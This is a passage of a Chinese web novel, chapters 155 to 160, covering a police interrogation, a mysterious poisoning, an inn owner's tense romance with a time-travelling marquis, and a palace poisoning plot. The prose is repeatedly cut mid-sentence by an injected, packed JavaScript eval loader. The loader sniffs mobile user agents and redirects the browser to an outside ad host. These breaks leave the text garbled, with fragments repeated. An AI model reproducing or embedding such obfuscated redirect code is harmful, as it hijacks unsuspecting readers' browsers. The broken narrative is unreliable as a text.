罗正松扔了一叠资料照片在她面前,贾芊芊只看了一眼,立刻脸色苍白地抖了起来。 第155章 不可告人的关系 “你,你们……” 罗正松冷笑: “以前没查到你跟贾家那些脏事之间的关系,贾家的其他人都抓了,只把你落在了外面,现在,你们一家人终于可以整整齐齐了。” 贾芊芊崩溃了。 贾家的人除了被当场抓住的她爹贾利方之外,其他的几个首脑人物基本都外逃了。 但罗正松到底是有点手段,这段时间来持续追击,又在外面抓到了几个。 贾芊芊也正是因为得知了这些消息,才不顾一切想要离开海城的。 但没想到罗正松还是手段高明,先了一步。 贾芊芊看着那些铁证如山的资料,终于瘫坐在椅子上,哭出声来。 经过一夜艰苦的审讯,贾芊芊吐出了不少东西。 一旁记录的小警员疲惫中带着兴奋,这些口供可以反过来再去指证贾利方那些人,这回贾家肯定是彻底死翘翘,再也别想翻身作恶了。 天都已经亮了,初升日头的光芒从窗口照进来,照在贾芊芊憔悴的脸上。贾芊芊惶恐地撇过头去捂住眼睛: “我知道的都已经说了……” 罗正松却摇摇头:“你还有一件事没交代。” 贾芊芊已经在崩溃边缘:“我真的都已经说了!真的都说了!” “如意客栈下药的案子,你还没交代。” 已经被逼得马上要发疯的贾芊芊一愣,随即忽然暴走,就要从椅子上窜起来: “我没什么可说的!” 立刻有两个警员冲过去把她按住,她还是不停地嚷嚷:“我没什么可说的!你们随便定我的罪吧,我什么都不想说了!” 罗正松却不惯着她这个毛病。已经审了一夜了,他不怕她不说实话,他还有的是时间跟她耗。 更何况,客栈的事情如果不弄清楚了,他也不好交代。不清不楚地回去找罗吉,他肯定又不乐意了。 罗正松在心里微微叹口气,脸上又冷肃了几分。 他直接把查到的证据都扔给她: “你可看清楚了,证据显示,你一个人是不可能完成这件事的。现在你人已经在这里了,所有的证据都指向你,你要是不肯把事情经过原原本本说出来,那就得自己一个人承担这个罪名。你确定这是你想要的?” 贾芊芊顿时被点醒了。 要说贾家的那些脏事,虽然跟她有关系,但她最多只算个知情者,并不是真正的实施人,真判下来,她也判不了多长时间,她还有机会。 但是客栈这件事如果真的坐实了她的罪名,那她就彻底没有机会了! “我说我说!”贾芊芊又激动地要蹦起来,“这一切都是姜飞飞和顾姐搞的鬼,我也是受害者啊!是她们要给我下药陷害秦绵绵,被我发现了,又胁迫我跟她们一伙,我都是被她们害了!!” …… 消息传回客栈的时候,所有人都很惊讶。 虽然秦绵绵一早说过这里面是有姜飞飞的手笔,但他们实在想不通,顾姐在这里面又掺和什么。 难道她是被虞宗辰指使的? 大家都没有定论。 而警察也早已突袭了顾姐的住处,她的人早已经失踪了,一同失踪的还有本该在国外的姜飞飞。 根据姜飞飞的身份信息显示,她确实一早就回到了国内,但这些日子她却并没有回到姜开元夫妇身边,就更没办法查出她到底躲在哪里了。 罗小胖恨恨:“这个女人,出国一趟,变得更狡猾了!我怀疑虞宗辰也是被她勾搭的,学坏了!” 要知道,种种迹象表明,虞宗辰其实本质上不过是一个被惯坏了的大孩子而已。 他实际没什么心眼,更没有什么坏心眼,要不然也不会被贾芊芊和姚祁耍得团团转了。 一旁喝茶的裴应见突然开口:“虞宗辰到底有没有参与,问问姚祁不就知道了。” 大家都觉得有道理。 但谁知裴应见又说:“不过,也不用问。如果顾姐真的是虞宗辰指使的,姚祁肯定不会就这么轻飘飘地放过的。” 众人眼睛都是一亮。 要么说,最了解你的还是你的敌人呢。你看看,裴先生这是多么了解姚先生呀! 但如果是这样的话,顾姐的动机就更奇怪了。毕竟从视频上看,虞宗辰一直到贾芊芊中药好像才知道事情的始末,顾姐怎么会一开始就越过虞宗辰,掺和到这件事里面去了呢? 而且根据贾芊芊的供述,她们本来就是要给贾芊芊下药的,只不过是被贾芊芊发现了端倪,最后将计就计狼狈为奸了。 那么,最开始的时候,顾姐又是怎么跟姜飞飞搞在一起的? 她们之间又有什么不可告人的关系? …… 海城不远的墨城,老城区一角。 墨城原本是海城下辖的一个县,后来经济发展的好,独立成了一个地级市。如今破旧的老城区已经改造得不剩多少了,这里是为数不多的还没改造的老城区。 因为这里房价便宜,生活便利,距离新城区也不远,因此是许多打工人选择的落脚点。 也因为这个,这里小旅馆很多,流动人口多,鱼龙混杂,便于隐匿。 一处不显眼的破旧小旅馆里,姜飞飞和顾姐两个人正在互相指责。 “事情到了今天这个地步,全都怨你!当初我就说直接把贾芊芊做了算了,是你非要听她的话,跟她合作。事实证明,她跟虞宗辰都是废物!” 姜飞飞白着一张脸,压低声音怒道。 顾姐也不甘示弱,她站起来回怼: “你现在怨我有什么用,当时你不是也同意了吗!你还说贾芊芊如果用好了,是很好使的一条狗,结果呢,现在出事了就怨我!” “反正现在已经这样了,贾芊芊进去之后肯定什么都会招出来,还是跑路要紧。咱们俩就这样分开吧,别到时候一块被抓住。” 顾姐说着,就要拎行李跑路。谁料姜飞飞一步侧过,挡在了她的身前。 她也不说话,只是盯着顾姐看,看了片刻,才慢慢露出一个冷笑: “你该不会以为,上了我这条船,还能下得去吧?” 顾姐忍不住打了个哆嗦:“你……你什么意思?” 第156章 贾芊芊疯了 姜飞飞慢慢漾开笑意: “我觉得你应该要想明白一件事,从我找上你的那天起,你就走不了了。为了弥补你所犯的错误,你整个下半辈子都得为我卖命,否则的话……别怪我不客气,把当年的事捅出去。” 顾姐的脸一下子就白了。 “姜飞飞,咱们可说好的,只做这一单!我,我早就金盆洗手了,我是圈里的金牌经纪人,我不能有污点……” 姜飞飞好像听到了天大的笑话,哈哈大笑了一会儿,才猛地伸手,一把把顾姐推到在床上: “你看看你说的这是什么话。你自己听着不觉得恶心吗?你把我害得这么惨,现在你来说你不能有污点?” “我告诉你,你其实就是一个贱人!别说污点,你就是一滩臭泥!如果不是我帮你遮掩,你现在早就臭了,还想做什么金牌经纪人,做你的春秋大梦吧!” 顾姐一下子就恼了,一咕噜从床上爬起来: “好啊,你既然不打算放过我,那咱们俩就同归于尽吧!臭丫头,当年我就应该直接把你扔到马桶里淹死,也就没有今天这些事了!” 顾姐说着就朝姜飞飞扑过去,但是她似乎是有点太低估姜飞飞的实力了,尤其是从国外再次归来的,好像脱胎换骨了一样的姜飞飞。 只见姜飞飞只是随便一伸手,直接一巴掌就把顾姐扇飞了出去,接着她扑过来,死死压在顾姐身上,让她完全动弹不得,双手还精准掐在了她的脖子上。 她附在顾姐耳边,声音仿佛吐着芯子的毒蛇: “你信不信,我现在就能让你悄无声息地死在这里,而我还能全身而退?话说回来,其实你早就该死在十八年前,能活到现在,每一天都是你欠我的……” 顾姐浑身发冷,更被姜飞飞掐得完全喘不过气,仿佛下一秒就能晕厥过去。 她怕极了。 她可不想死在姜飞飞手里! “我错了错了,我都听你的!”顾姐趁着自己意识还没消散,开始拼命求饶。 姜飞飞终于撒开了手。 顾姐瘫倒在地,拼命喘气。 姜飞飞却不再理她,转而去拿手机。谁知看了手机之后,她的脸上忽然就露出了一个笑意。 “好了,我不过是跟你开个玩笑而已,咱们是合伙人,怎么能说闹就闹呢?这样可不好。” 顾姐懵了。 姜飞飞刚刚明明还要掐死她! 姜飞飞却一副刚才什么都没发生过的样子,转头坐去椅子上,给自己开了一瓶水。 半晌,她才幽幽对还在蒙着的顾姐说: “贾芊芊的事情解决了。” “什么?怎么解决的?” “她疯了。”姜飞飞微笑道,“在警局里,疯了。” …… “疯了?!” 听了消息,姜芙第一个拍案而起: “凭什么,这也太便宜她了吧!假的吧,肯定又是有高人指点了,是不是打算凭着精神病证明脱罪!” 罗小胖摇摇头:“不是,她是真疯了。” 他表情有点难绷。 “好像是不知道吃了什么有毒的东西,精神失常了,而且是不可逆的,法医诊断结果已经出来了。” 大伙儿都不说话了。 贾家都已经倒台了,贾芊芊就算再有手段,也不可能影响得到法医的诊断结果去。 但是很奇怪的是,警局里层层看守,她是怎么吃到有问题的东西的呢? “这就不知道了,还在查。” 秦绵绵走过来:“罗厅一定又震怒了吧。” 罗小胖撇撇嘴,没说话。 罗正松能不着急吗?据说都急得一晚上嘴里起了三个燎泡。 在警察局里他的眼皮子底下竟然能发生这种事,这让他的老脸往哪搁? 最重要的是,贾芊芊本来已经吐出一大堆东西了,这下子因为她疯了,所有的口供一下子就都不作数了,案子又被打回了原形,他能不着急吗? 罗小胖咂咂嘴: “但有一点很奇怪,如果是有心人想毁灭证据的话,为什么不去搞贾利方他们?贾芊芊本来知道的也不多,到底为什么大费周章,要把她给搞成这样……唉,你们可不知道,我那线报说了,贾芊芊现在疯疯癫癫的跟大街上的流浪汉一样,这要是被媒体接着拍到了,又是一回热搜……” 秦绵绵听了这话,却沉默了一下,若有所思。 没多久,她的手机忽然收到一条信息: 【大恩难报,不谢。】 这欠揍的语气,不用问就知道是谁。 秦绵绵立刻给他回了信息,问他到底为什么要把贾芊芊弄疯。 这样对她并没什么好处,就连如意客栈的这桩案子也成了无头公案了。 那边姚祁一下子就精神了,噼里啪啦打了一堆过来,告知她他根本就不知道贾芊芊的事。 毕竟不是谁都像罗小胖一样在警局里有内线的。 【我刚睡醒,我说的是昨天的那个直播……对了掌柜的,直播你看没看,怎么样,我帅吗?】 秦绵绵却懒得再理他了,只发了三个字过去:【滚回来。】 一个多小时之后,姚祁就屁颠屁颠地滚了回来。 但却高调得有点过分。 一辆崭新崭新的,就连瞎子一眼看过去都能知道是豪车的豪车吱呀一下停在了客栈大门前,引起了全景区人的围观。 有管家下来替姚祁开车门,打伞,还铺了红地毯。 罗小胖讶然道:“不下雨不下雪的,为啥要打伞?幺鸡这弄得有点太花里胡哨了吧,咋地,要结婚呐?” 一身正装,比在直播上还要帅了几倍的姚祁奕奕然下了车。 但谁料刚走进客栈大门,就被人用扫帚挡住了去路。 “扫地呢,怎么走路的,没长眼啊?” 姚祁不满地啧了一声:“怎么,裴先生都沦落到扫地的地步了?” 裴应见却一脸淡定:“客栈被污名,没有什么客人,每个人不都得出出力么,不像某些人,只会找麻烦。” 姚祁却绕过他,直奔秦绵绵:“谁说我是来找麻烦的,我是来找秦掌柜谈合作的。” 秦绵绵却不理他,只啐了一声,让他回来了就该干啥干啥。 姚祁却转头让管家拿出了一个文件夹: “掌柜的,你看看,这是我全面入股咱们公司的计划书,首批我打算出资五千万,同时扶持影视城、楼盘,还有景区建设这几个项目,你看看呢?” 第157章 是真的报恩 众人一听“五千万”三个字,刷的一下全都扔了手底下的活跑来了。 秦绵绵顿了顿,也走了过来。 只留裴应见一个人,捏着扫帚在原地整个黑了脸。 姜芙叫起来:“五千万!要不要考虑一下投我的客栈!” 罗小胖直接给她一个暴栗:“想得美,你的客栈不是掌柜的的嘛?小样,长本事了,还敢单独拉投资了!” 姜芙抱起手臂:“那也不能眼看着钱不要干瞪眼呀,这可是五千万呐!谁不动心!” “怎么就干瞪眼了……” 罗小胖还没说完,姜芙悄悄朝不远处的裴应见努努嘴,罗小胖立刻心领神会,给自己的嘴巴拉上了拉链。 有裴先生在,姚祁的投资,还真不一定能落实。 就算掌柜的想要,裴先生也肯定不肯……不过话说回来,掌柜的也不一定很想要呢。 她现在虽然也缺钱,但也没那么缺钱,自己慢慢经营的话,这些资金感觉都不是问题。 何况还有神通广大的裴先生呢。 大伙儿你看看我,我看看你,都感觉非常可惜,拿不到这从天而降的巨款。 最后,都把目光投向了秦绵绵。 秦绵绵也看了裴应见一眼,转而问姚祁: “你说的都是真的?” “白纸黑字的计划书都在这里,怎么可能是假的,掌柜的你先过目看看再说。” 秦绵绵便伸手要去接,谁料就在这个当口,裴应见一步跨过来,一伸手就把那文件夹抽走了。 “谁知道你这里面到底写了什么东西,万一又是坑呢,咱们不看!” 姚祁不高兴了,勾起冷笑:“裴先生这话说的,我什么时候坑过秦掌柜,什么时候坑过客栈了?” “你嘴里没有一句实话,连来客栈的理由都是假的,可要我跟大家说说?” 一旁的叶子舟十分尴尬。 毕竟姚祁是他的同学,他当初能留在客栈,也有他引荐的原因在里面。 但是谁也没有想到姚祁竟然骗了大家。 叶子舟皱皱眉头开口道:“幺鸡,你现在仇也报了,我看客栈就别留下了吧……” 谁知姚祁突然不知道从哪又变出一份合同来: “那不行,当初可是签了劳动合同的,现在什么情况,要把我开除?开除我可是要赔偿的,我看看这合同怎么写的……算了,看不懂,等我律师来看吧。” 众人看他这幅胡搅蛮缠的样子,都顿觉无语。 裴应见嗤笑:“当初你是以报恩的理由留下的,现在证明你只是想利用客栈,利用绵绵,这事就算上了法庭,你也占不得理。” 姚祁却笑了,笑着笑着还大大方方地坐了下来: “我没说错啊,我本来就是来报恩的,这五千万,也算是我报恩的方法之一了,你要是不信的话……可以问掌柜的。” 众人急忙都去看秦绵绵。 但见秦绵绵一脸平淡,显然也认可了姚祁的话。 所以姚祁要报的,到底是什么恩? 姚祁也不说话了,就盯着秦绵绵看,很显然是不打算再说什么。 半晌,秦绵绵啧了一声,在众人期待的目光中,缓缓道: “我十二岁那年,做过一个给孤儿院捐款的慈善项目……那天中场休息的时候,恰好看见一个男孩子在被其他一群人欺负,我就出手帮了他一把……” 罗小胖道:“所以,这个男孩就是姚祁?这就是所谓的救命之恩?” “额……”秦绵绵顿了顿,又说,“后来我把那个孤儿院盘了下来,改善了伙食,送他们都上了学……嗯,结婚生孩子也一手包办……当然了,当时年纪小么,做事比较冲动……后来也没钱了,就没做了。” 众人皆瞪大眼睛,直呼好家伙。 那孤儿院在有人来做慈善项目的时候,还能出现霸凌事件,可见平常的情况是多么的严重,那些孤儿们,顶多也就只能算是还有一口气活着罢了。 而秦绵绵的这一系列操作,才真正把他们从苦海中解脱出来,因着秦绵绵的帮助,不知道有多少孩子过上了正常人的生活。 这跟再生父母有什么区别? 姚祁比秦绵绵也就大了两岁而已,秦绵绵出现在孤儿院的时候,他也只是一个势单力薄的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“能不能做主,待会儿你就知道了。” …… 过了惊蛰之后,天气已一日暖过一日,窗外树上粗壮的枯枝正在一点点地抽出新芽,微风徐徐从窗口吹进来,掀起桌上的几页书。 屋子里的气氛却有点点凉。 裴应见关了门,转身反手把秦绵绵推在门上。 也不说话,就这么低头,盯着她看。 第158章 还是保持距离吧 秦绵绵抬头回望住他,眸光似乎很是平静。 但对面男人早已经波涛汹涌。 两个人就这么对峙着,谁也没有先开口。 忽然一阵风吹来,吹起裴应见的发丝,撩到了秦绵绵的脸颊上,痒痒的。 秦绵绵伸手拂了拂,别过头去: “还要看多久啊……我脖子都酸了。” 裴应见却不高兴了,伸手把她的脸又扳回来: “你知道我想说什么,绵绵。” 秦绵绵叹了口气:“怎么,难道要我对他赶尽杀绝吗?” “要换成别人,你保不准会赶尽杀绝,之所以没有动手,因为他不是别人,不是吗?” 秦绵绵却再次从他手里挣脱,靠在门上,和他保持一定的距离: “换成是你,你会对他怎么样,你难道不会利用?” “我会让他远远地走开去,至少不会跟他合作。”他盯着她的眼睛,“不小心带了一个不知道从哪来的小丫头来,都让某人误会生气了,若真有这么个女子在身边,某人只怕要吃了我。” 秦绵绵笑了,笑的很快,笑意转瞬即逝。 接着她的脸色忽然就冷了,伸手一把推开了他。 她转头走到桌子旁边去整理上面的书,片刻后,忽然声音凉凉地吐出一句: “不会的。因为,最近我想明白了一些事……” 她顿了顿,裴应见忽然就有了一丝不好的预感。 果然,下一刻,她的声音凉若冰霜: “……侯爷你的事,我其实不应该管那么多。” 裴应见一下子怔在原地。 整个人仿佛被点住了穴道,扔在了冰天雪地里,动也不能动,从头冷到脚。 她这话,到底什么意思? 她已经不愿意再管他的事了么? 所以,以后也不许他再管她的事了?是这样么? 裴应见眼眸里的光一点点地暗了下去,眉头慢慢皱紧。 双手也慢慢攥成拳头,松开,又攥紧。 她还在那边整理书册,明明几步之遥,近在咫尺,却在这个时候让他觉得远在天边,马上就要无法触及。 许久,他才从牙缝里挤出几个字: “这是……什么意思?” 他本来可以掩下情绪,随便笑着问一句她是不是以后再也不愿意跟他做生意了。 但是他不愿意。 他不愿意自欺欺人,不愿意用掩饰太平来逃避问题。 哪怕是痛呢,他也想痛得清楚些,明白些。 秦绵绵本来在低着头,面无表情地整理着桌子,却被他这一声质问问得顿住手。 她的眉间似乎浮现一丝艰难之色,但又转瞬即逝,仿佛从未出现过。 她抿抿嘴,挤出一个笑意: “就是字面的意思。我们只是合作的关系,本来就不应该过问太多私……唔!” 秦绵绵瞪大眼睛! 她也想不到,男人竟然不等她说完就径直冲过来,一把就把她捞进了怀里,不管不顾地就吻了下来。 他的气息铺天盖地袭来,翻江倒海一般,压得她透不过气。 她睁大眼睛,看着眼前男人紧闭双眸,眉心紧皱的俊脸在眼前放大。 他好像很生气。 又好像带着天大委屈,要从她这里索取安慰。 又好像是她做错了事,要给她一点狠狠地惩罚。 又好像是有很多很多爱,很多很多话说不出口,只能用这种方式表达。 秦绵绵被他的急躁又狂暴的攻势弄得有点措手不及。 她的呼吸都乱了。 一向杀伐果断很有主意的她,在这一瞬间竟然一时空白,不知该作何动作。 她是能察觉到他的心意的。 他的恼恨,他的纠结,他的不高兴,都清清楚楚地通过他的动作传达到了。 搅得她的心里也乱乱的。 她的手一时卸了力,连举起来去推他都做不到,不过几个呼吸的时间,就彻底软倒在他的怀里。 男人显然察觉到了她的变化。 对于他的示好,不管是明面上的,还是暗戳戳的,她从来都避而不谈,不给回应,或者直接拒绝。 像今天这样并不抗拒的事,还是第一次。 一个瞬间,他忽然很想要得寸进尺。 下一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15220888|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秒,男人竟忽然大手一捞,把秦绵绵的整个人抱进了怀里,直接抱着就往床边走去。 唇上一下子失了桎梏的秦绵绵仿佛忽然清醒了,她猛地吸了口气,神色清明之后,她看到了男人晦暗还带有一丝疯狂的眼神,立刻明白过来。 她眼睛一瞪,猛地推了男人一把,不由分说径直从他的怀里跳了下来。 “你……”一开口,一抹红晕却不自觉地爬上了脸颊,她的语调一下子就变了。 咳嗽了一声,才又找回来原来的声线: “……你想干什么!” 男人骤然失去了怀里的人,此刻脸色暗沉得好像一匹蓄势待发的狼。 他声音暗哑,目光深不见底: “你不排斥,我就打算生米煮成熟饭算了……省得哪天你又跑了。” 说到后一句,男人几乎是咬牙切齿了。 秦绵绵有点失笑,但脸上的可疑红晕却更深了。 她连忙转过头去,呼了口气,才低声嗔了一句: “我呸!臭流氓!” 男人却好似突然彻底失去了耐心,再次扑过来: “绵绵!” 但秦绵绵的理智却已经回来了,不会再轻易被他弄没。 她稍微一个转身,就躲开了他的手,很快和他拉开了距离。 男人脸上的神情更加难看了。 “我……”秦绵绵张张嘴,叹了口气,“好了,我看,我们还是摊开了说吧。” 她转身靠在了桌子上,尽量让自己身形散漫,看似随意地说出这句话: “最近这段时间,发生了很多事情,尤其是我……我被关在警局的那几天,正好没什么事情,我就想了很多事情……我觉得,嗯……其实我是没有什么能力能给大侯爷你一个名分的,所以我们还是……” 裴应见沉默地听着她说。 他眼里的光眼见地慢慢暗淡了下去,此刻直如一潭死水一般。 秦绵绵说到最后,看到他的样子,忽而觉得下面的话有些艰难,不太能说出口。 最后,她还是暗暗咬了咬牙,才终于慢慢说了出来: “……我们还是,保持距离吧。” 第159章 这样也挺好的 裴应见就这么望着她,仿佛没听到一般,只是不说话。 两个人就这么沉默半晌。 平静得好像在寻常谈天吃饭,刚才差一点擦枪走火的事好像没发生一般。 但屋子里的空气温度却又好似平白低了好几个度。 不知道过了多久,裴应见张张嘴,好像要说什么。 秦绵绵忽然又道: “但是你不要想别人,这件事跟任何人都没有关系,只是因为你……你……” 她好像又说不下去了。 而这边,男人却忽然长舒了一口气。 他开口,却是冷冷的一句: “本侯知道了。” 说着,忽然向前走了一步,然后下一秒,就好似被风吹走了一般,一下子,倏忽就消失不见了。 秦绵绵微微睁大眼睛,呆呆地看着他消失的那个地方。 许久许久,她伸手,抚摸上自己刚才被他侵略过的唇。 他残留的气息好像还萦绕在她的鼻尖,但他的人却已真真切切地消失不见了。 秦绵绵慢慢坐了下来,任由窗外的风呼呼地闯进来,吹乱了她的头发。 他决绝离开的一幕好像还在眼前。 他还是第一次从她的面前直接消失。 虽然不想承认,但这一幕,还是刺痛了她。 但是,不管怎样在一起笑过闹过,最后,他总是会不见的吧……她内心深处其实是这样想的。 不知道什么时候来,不知道什么时候离开,需要他的时候,不知道他在何方,更无处寻觅。 在知道上天入地她也无处寻觅他的时候,那种无力感,是没有人能体会的。 自然更不可能在面对他的时候,说出来。 她要说什么呢? 说自己在警局的时候,虽然心里有底,但难免在长久的煎熬之后有所恍惚。 恍惚之中,她忽然希望他能从天而降,就那么轻而易举地把自己从那里带走。 她的下意识里,就觉得只要是他来,眼前的一切问题,都会随随便便轻轻松松,迎刃而解。 然而,这恍惚也不过只持续了片刻时间,她就清醒了过来。 清醒过来之后,随之而来的是一阵巨大的汹涌的后怕。 她打幼时起,就是一个极为自主的人,凡事只擅长于依靠自己,从不将命运交托在别人手上,无论那个人和她关系多么亲密,又是多么有能力。 无论任何人,都不行。 长久的警惕自省已经让她形成了习惯,她不会彻底信任任何人,她只相信自己。 但是在这一天,这一个瞬间,她却变了。 她把自己的事,寄托在另外一个男人身上。 她回神醒过来之后,自己都觉得不可思议了。 但最可怕的事情还不在这上面,她心里很清楚的知道,就算是真的寄希望于他,也不是很不能接受的事情,毕竟他…… 然而关于他的一切事,她又忽而不想讨论了,因为他的特殊身份,让所有关于他的事情,讨论起来都没有意义。 她毕竟是无法留住他的! 她怎么会,竟把自己的事,寄托在一个虚无缥缈,难以挽留的人身上? 明明知道他随时会消失! 秦绵绵就是在这一刻,觉得自己从前种种,似乎都做错了。 是不是不该和他走得太近,是不是不该不拒绝,是不是压根不该跟他有所牵扯就对了…… 她越想越是觉得心惊,所以在再次见到他之后,回到客栈,才会有了今天这一幕。 而刚才,他这般决绝,一个转身就彻底消失在自己眼前的这一幕,又更深地刺痛了她。 这一切仿佛在告诉着她:看,没错吧,他真的随时会消失,而你,根本就找不到他。因为你根本不知道该到哪里去找他! 更别说在需要他的时候,希冀他的出现了,这样的想法简直……像个笑话。 秦绵绵就这样坐在椅子上,望着裴应见离开的那个地方,望了很久很久。 不知道过了多久,她左思右想,觉得自己应该确实没错了。 ——不把自己的心交出来,就不会受到伤害了,不是么? 如果,如果他就这么走了,再也不回来了,那应该也挺好的。 那也没什么,对吧。 是啊,就这样。 挺好的。 …… 这天,云承月依然像平常一样,走密道来到镇国侯府。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15220889|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他并不出来,只在密道门后听一听外面的声音,一点声音也无,他便知道裴应见这个家伙,还没从那个神秘的客栈回来。 他这次走了已经有好几天了,也不知道回来看上一眼,好像整个人都长在了那里似的。 “真是见色而忘义的家伙。”云承月自语嗔道。 虽然姓裴的没跟他明说,而他也是个全盲的瞎子,但他却也早就看出来了,这位大侯爷的一颗心,已经全在那位秦掌柜的身上了。 但想到如今裴应见的处境,而那位秦掌柜又在虚无缥缈之外,这两个人,以后可有的苦吃了。 云承月正在思想间,忽然听得密道门外一声轻响,接着一阵长长短短的叩击声,正是裴应见和他之间的暗号。 云承月急忙回以暗号,然后从密道走了出去。 结果屋子里虽然能听到裴应见的呼吸声,可他却并不说话。 而且以云承月的敏锐,能立刻就察觉得到,自己这位好友,此刻的心绪似乎很不好。 他不禁微笑道:“怎么了?跟那位秦掌柜吵架了,让人家给撵回来了?” 裴应见的呼吸一下就粗重了些,但还是没说话。 云承月皱皱眉头。 他每天都来此等他,可不是为了跟他说这些儿女情长的。 他直接说道: “通过你给我的那个什么……**器,我已经从甘彦的口中,得知了他那个得力手下的行踪,同时也确定了,那人就是仿冒你的手段击杀郎松的人,此刻他就躲在三阳城中。” 三阳城是京城附近的一座小城,距离京城大概百里距离。 云承月直接说出了这人的具体位置,裴应见终于开口: “知道了,此事我已有对策。” 云承月便放心离去了。 他的任务终于完成,可以回去安心睡个好觉了,至于怎么抓住那个人,怎么对付甘彦,接下来就看裴应见的了。 裴应见立刻召集了手下的几个精英暗卫,布置了任务。 待人都离去,夜深人静之后,他免不了再一次想起了秦绵绵。 对着遥遥的月亮,他深深叹口气: “能跟她吵架,也不能不算是一种福气,可惜……” 第160章 裴应见出逃了 连绵一个多月的大雨终于停了,夏日的酷热随之而来。 京城风气开放,入夜之后,街上仍有不少三三两两纳凉的百姓。 有人在院子里切开井水凉过的西瓜,与家人说说笑笑,其乐融融。 然而,无人察觉,一个快如鬼魅的红色身影正从屋檐上掠过,直奔皇宫的方向而去。 皇帝的寝殿里早已放置了冰块,数名宫女在他身后打着扇子。即便如此,皇帝依旧热得直冒汗,便叫来心腹太监,命他赶紧去取些冰饮来。 就在这时,红衣人影忽然出现在了大殿中。 打扇的宫女们见状,连忙避了出去。 皇帝一下子没了凉风,颇为不满,转过头正要骂人,却见面前突然多了一名红衣女子,正摘下帷帽。 皇帝顿时一喜:“月娘,你可来了!朕等你许久了!” 说着,他便亲**走过去,想要拉她:“来来来,你坐这里,这里有冰,凉快。” 被称为月娘的红衣女子却忽而躲开,并未走向盛着冰块的瓷盆,只冷冷回应:“我自幼体寒,不热。” 皇帝有些讪讪,正巧心腹太监端了冰饮过来,他连忙亲手取了一碗,递给月娘:“你先尝尝。” 女子接过碗,在鼻尖嗅了嗅,却忽然一翻手,挥出一颗暗器,将皇帝正送往嘴边的勺子打落。 皇帝没有武功,闪避不及,“啊呀”一声,碗里的冰饮被打翻,沾得浑身都是。 他正要发怒问罪,却见月娘眸色一冷,吐出两个字:“有毒。” “什么?!”皇帝吓得直接蹦了起来,二话不说,给了心腹太监一巴掌。 心腹太监连忙跪倒在地:“皇上息怒!这一盆冰饮是奴才亲手端来的,万不可能有差错!” 月娘却起身,兀自检查一遍,指着那盛着冰饮的碧玉小盆,又下了定论:“盆上有毒。” 皇帝低头去看时,那打翻在地的冰饮果然颜色有异,顿时心有余悸,手抖不已:“还不快去查!” 心腹太监急忙退了出去,却不料月娘也跟了出去,甚至比他先到了厨房。 片刻之后,两人却又很快回来了。 “**。”月娘淡淡道。 皇帝不明所以,心腹太监惴惴回禀:“刚到厨房,便听闻今日当值的一名嬷嬷跳井了,死无对证……” 皇帝怒不可遏。 这么多年来,想要他命的人太多了,他自然知道。 可直接下毒下到他面前的,这还是第一次! 这人究竟有多通天的手段,竟能把手伸得这么长,连御膳房的人都买通了! 今日若不是他恰好有事要寻月娘过来,只怕明日年号都要改了! 皇帝越想越怕,半晌,手仍抖个不停。 月娘却又无声无息地坐了回去,仿佛事情完全没有发生过一样。 她来此只是为了听令,救了皇帝的性命也只是顺手,至于破案,她没有兴趣。 不知过了多久,皇帝突然一拍桌子:“一定是他!” 月娘幽幽抬眼,只见皇帝咬牙切齿,从书案私密处拿出一叠东西,重重摔在桌上:“小畜生,弄不死你,要反了天了你!” 心腹太监急忙过去接过,将那叠东西呈给月娘。 月娘迅速看过,下一刻,起身就走。 皇帝一惊:“月娘,你去哪?” “替陛下解决青州以及燕州之事。” 皇帝一怔,随即抚掌笑道:“好好好!朕确实有意让你去。只要你出马,一定能将裴应见这畜生的人马杀得片甲不留!” 然而,还没等他说完,月娘的身影就已经消失在了夜色中。 皇帝让心腹太监将那些字纸再拿回来,自己一张张亲手烧掉。 这上面记载的不是别的,正是他派人调查的青州以及燕州的异动。按照手下调查所说,裴应见这厮去青州赈灾一趟,竟然在那里悄悄组织了自己的人马,甚至在燕州养了一支私兵。 据说这些私兵手上还有很厉害的武器,常人见所未见,被当地人吹得神乎其神! 在得知裴应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15220890|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见在这两地的口碑特别好之后,皇帝立时震怒不已,连忙把月娘召了过来,让她去青燕二州,务必把裴应见的势力扼杀! 至于在京城的裴应见……为防打草惊蛇,最近先不动他,等月娘的好消息传来再说。 打定主意,皇帝心情大好,放下心来,转头去睡觉。 然而,翻来覆去却睡不着。月上中天时,他又叫人翻了牌子,召了新晋入宫的年纪最小的嫔妃来侍寝。不为别的,心情好,尝尝鲜。 